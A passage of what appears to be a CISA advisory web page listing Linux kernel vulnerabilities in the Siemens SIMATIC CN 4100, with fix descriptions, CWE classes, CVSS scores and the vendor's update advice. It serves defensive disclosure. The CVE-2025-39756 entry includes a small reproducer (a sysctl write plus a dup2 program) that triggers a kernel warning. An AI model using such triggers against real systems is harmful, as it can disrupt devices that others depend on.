<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39718</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39718">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39719</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39719">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39724</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p-&gt;fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value &amp; ~UART_LCR_SPAR) == (lcr &amp; ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port-&gt;lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39724">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39736</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -&gt; raw_spin_lock_irqsave(&amp;kmemleak_lock, flags); -&gt; pr_warn_once() -&gt; netconsole subsystem -&gt; netpoll -&gt; __alloc_skb -&gt; __create_object -&gt; raw_spin_lock_irqsave(&amp;kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39736">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/833.html">CWE-833 Deadlock</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39737</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39737">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39738</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 ("btrfs: fix subvolume/snapshot deletion not triggered on mount") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39738">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39742</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39742">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39743</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39743">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39749</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: rcu: Protect -&gt;defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's -&gt;defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [&lt;0000000000000000&gt;] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the -&gt;defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the -&gt;defer_qs_iw_pending field. This suffices because this handler is not a fast path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39749">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39752</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39752">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39756</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: &gt; 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 &gt; /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &amp;rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (&gt;8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical &gt;8GB memory allocation request.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39756">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
